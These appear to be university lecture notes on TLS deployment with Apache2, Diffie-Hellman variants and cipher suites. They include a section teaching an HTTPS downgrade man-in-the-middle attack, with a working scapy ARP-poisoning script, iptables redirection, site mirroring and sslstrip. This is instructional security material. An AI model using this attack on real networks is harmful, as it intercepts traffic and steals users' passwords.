CNS - 26 - Asymmetric Cryptography V

Lecture Info

Date: [2020-11-19 gio 11:30]
Lecturers:
- Marco Bonola
- Giuseppe Bianchi
Slides:
Introduction:

1 HTTPS With Apache2

We will know deploy the certificate chain that we had created at the end of the previous lecture in an apache2 web server.

1.1 Setting up a VHost

Remember that apache2 supports the virtual host mechanism, which allows different web servers to be installed on the same machine under the same IP address/port. This means that the first thing we'll do is write the following content in a virtual-host configuration file named testssl.iss.edu

<ifModule mod_ssl.c>
<VirtualHost _default_:443>
DocumentRoot "/var/www/testssl"

ServerName testssl.cgrl.edu:443
ServerAdmin testssl@cgrl.edu

SSLEngine On
SSLCipherSuite HIGH
SSLProtocol all -SSLv2 -SSLv3                         # disable SSLv2 and SSLv3
SSLCertificateFile /etc/apache2/ssl/server.crt        # certificate of the server
SSLCertificateKeyFile /etc/apache2/ssl/server.key     # key file releated to the server certificate
SSLCertificateChainFile /etc/apache2/ssl/chain.crt    # certificate chain file

<Directory "/var/www/testssl">
	   Options Indexes
	   AllowOverride None
	   Allow from from all
	   Order allow,deny
</Directory>
</VirtualHost>
</IfModule>

Notice the ServerName is fundamental if we want to use the virtual host mechanism. In it the name of the particular virtual host we want to access is placed.

Observation: When the mechanism of virtual hosts was introduced, it was not immediately supported by TLS. This was because TLS runs on top of HTTP, but to know where to perform the TLS handshake one had to know the particular virtual host the packet was referring to, which was an encrypted info. Later they fixed TLS by adding a new field to the packet which is used to specify the particular virtual host the packet wants to access.

Once we have written that file we have to move it within the directory etc/apache2/site-available, and execute the following

a2ensite testssl.iss.edu  # enable our https web site
a2enmod ssl               # a2enmod ssl
service apache2 start     # service apache2 start

The actual website pages then go into the /var/www/testssl directory.

1.2 Testing HTTPS

To actually test the web server simply go to the address 127.0.0.1. using the browser. Notice the first time we go we get the following warning

If we click on learn more we immediately the reason behind this warning

The error SEC_ERROR_UNKOWN_ISSUER comes from the fact that, since we have ourselves generated the certificate for the root CA of our certificate chain, this root certificate is not yet installed within our browsers.

If we click "accept the risk and continue" we will start the TLS connection. Note that starting from TLS v1.3 the certificate is encrypted and it cannot be seen by snooping on the TLS handshake.

1.3 HTTP Redirection to HTTPS

Notice that if we don't modifying the default function of the apache2 web server, we have to explicitly add the HTTPS protocol in the URL, for otherwise we'd use instead the default HTTP one.

To actually redirect automatically all HTTP request to secure HTTPS requests in apache2 we can use a MOD_REWRITE rule in our particular virtual host config file. In particular the following content has to be written

<VirtualHost _default_80>
	     ServerName testssl.iss.edu
	     RewriteEngine On
	     RewriteCond %{HTTPS} off
	     RewriteRule (.*) https://%{HTTP_HOST}%(REQUEST_URI}
</VirtualHost>

and then we execute the following

sudo a2enmod rewrite # enable mod_rewrite
sudo service apache2 restart

1.4 HTTP plaintext auth over SSL

Suppose we want to create a resource in our web server which is protected by a username and a password. To do this we can add the following contents to our vhost config file

<Directory "/var/www/testssl/secret">
	   AuthType Basic
	   AuthName "Username and Password Required"
	   AuthUserFile /etc/apache2/.htpasswd
	   Require valid-user
</Directory>

To generate the .httpaswd you can execute the following and then type the password when prompted accordingly.

sudo htpasswd -c -m /etC/apache2/.htpasswd 007

2 HTTPS Downgrade Attack

Many site are hybrid, in the sense that some of their resources are protected with HTTPS and some with HTTP. For example some sites did not used HTTPS on their homepage. This opens up the possibility for a MITM attack

A possible way of implement such an attack is thus the following:

We get in the middle between the victim and the router.
We redirect the traffic locally to an internal proxy.
We mirror the target web site.
We don't redirect to HTTPS.
The victim logs in and we steal the password
The we can decide either to act as a relay to the target website, or we simply turn off everything.

2.1 HSTS

The standard solution to protect against this kind of attacks is HSTS, which stands for HTTP Strict Transport Security. With HSTS the server informs the browser that connection to the site should always use TLS/SSL.

While this approach helps to soften the attack, it does have some limitations, such as:

The initial request remains unprotected from active atatcks if it uses an insecure channel.
Some browser use HSTS preloaded list, but these pre-loaded lists cannot scale to cover the entire Web.
Not all the clients impelement HSTS
It does not give protection against DNS Spoofing Attacks.

2.2 Implementation in Linux

2.2.1 Requirements

To implement such an attack in linux the following things are needed:

Man in the middle:

ARP poisoning with ettercap or custom scripts

#! /usr/bin/env pythonn
import sys
from scapy.all import *
import time

ip_victim = "10.0.0.100"
ip_router="10.0.0.1"
hw_attacker="00:00:00:00:00:FF"
hw_victim="00:00:00:00:00:AA"
hw_router="00:00:00:00:00:01"

arp_to_victim = Ether(src=hw_attacker, dst=hw_victim)/ARP(op=2, psrc=ip_router, pdst=ip_victim, hwsrc=hw_attacker, hwdest=hw_victim)

arp_to_router = Ether(src=hw_attacker, dst=hw_router)/ARP(op=2, psrc=ip_victim, pdst=ip_router, hwsrc=hw_attacker, hwdest=hw_router)

if not arp_to_victim or not arp_to_router:
    exit()

while (True):
    sendp(arp_to_victim)
    sendp(arp_to_router)
    time.sleep(1)

Enable IP forward
```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Local redirection of HTTP GETs: $MATCH is whathever you want to match.
```
iptables -t nat -A PREROUTING $MATH -j REDIRECT
```

Option 1: site mirroring and impersonification

wget --mirror --convert-links --html-extension --no-parent -l 1 --no-check-certificate $TARGET_WEB_SITE

Option 2: Use a sslstrip proxy: https://github.com/moxie0/sslstrip

2.2.2 Attack

nil

3 Protect DH Against MITM

If we don't do anything particular the DH protocol can be broken by a MITM. This particular bare-bone version of the protocol is called the anonymous DH.

Notice that sometimes anynomus DH is used, as is the example given by BTNS (Better Than Nothing Security), which is a light-version of IPSec.

IMPORTANT: THE BTNS protocol is an example of the fact that when working in the security field, sometimes knowing the level of the security is much more important than the security itself.

To actually fix DH and make it more robust the idea, as we have seen in the past lectures, is to introduce the concept of a certificate authority. In particular Alice can generate her private quantity $x \in \{0, 1\}^s$ and go to a CA to ask for a certificate that proves she own the private key related to the public quantity $g^x \mod p$. Bob can then do the same, and each of them can verify the validity of the other's certificate. This version of DH is called teh Fixed Diffie-Hellman, because the private key of each party is fixed.

The fact that the keys are fixed and long-lived opens up the possibility for a brute-force attack. An attacker could potentially store all the traffic of the users, and then at some point break the crypto keys. Unless the protocol has the perfect forward security property, he will be able to read all the past traffic, since the past traffic was encrypted using the same keys.

To finally DH so that it is not vulnerable to MITM without opening up the possibility for a brute-force attack the idea is to alice use a CA to certificate her own public key. Then using her private key she is able to sign the fact that she's using a certain exponent with diffie-hellman. Bob can take the value given by Alice and verify if that is legit by retrieving the public key of Alice (which, crucially, is certified by a CA that bob trusts). This version of DH is called the Ephemeral DH.

This means that we have three different versions of the Diffie-Hellman key agreement:

Anonymous DH, in which no user is authenticated.
Fixed DH, in which the certificate is issued for a specific secret.
Ephemeral DH, in which a certificate is issued for a public key, and the public key is used to sign the certificate for a specific secret.

In TLS v1.3 you can only use ephemeral DH.

4 Cipher Suites (Revisited)

Notice that now we can read pretty much all cipher suites. For example consider the following

\[\textbf{TLS_DH_RSA_WITH_DES_CBC_SHA}\]

The DH means that we are using a fixed diffie-hellman for the key exchange protocol. When we use a fixed DH we also have to specify which public key system we are using to sign the certificate. In this case we're using RSA. We could also have

\[\textbf{TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA}\]

and DSS is also an asymmetric crypto cipher.

Notice that you can also run DH over eliptic curves. In this case you'd see ECDHE in the cipher suite listing, as the following example shows

Another common cipher suite is the following

\[\textbf{TLS_ECDHE_ECDSA_WITH_}\ldots\]

where ECDSA stands for diginal signature algorithm over elipitic curve.

5 Handshake Messages

Consider once again the messages sent by TLS during the handshake phase.

Let us now describe in detail which messages are sent for the exchange of the key depending on the particular protocol used:

DH Anon: In this case only the server key exchange message is sent by the server and the client key exchange is sent by the client.
Fixed DH: In this case the server sends the certificate and the client sends the client key exchange.
RSA Key Transport: The server sends the certificate, and the client sends the client key exchange, which is the symmetric key encrypted with the public key of the client.
Ephemeral DH: The server sends the certificate and the server key exchange. The client sends the client key exchange.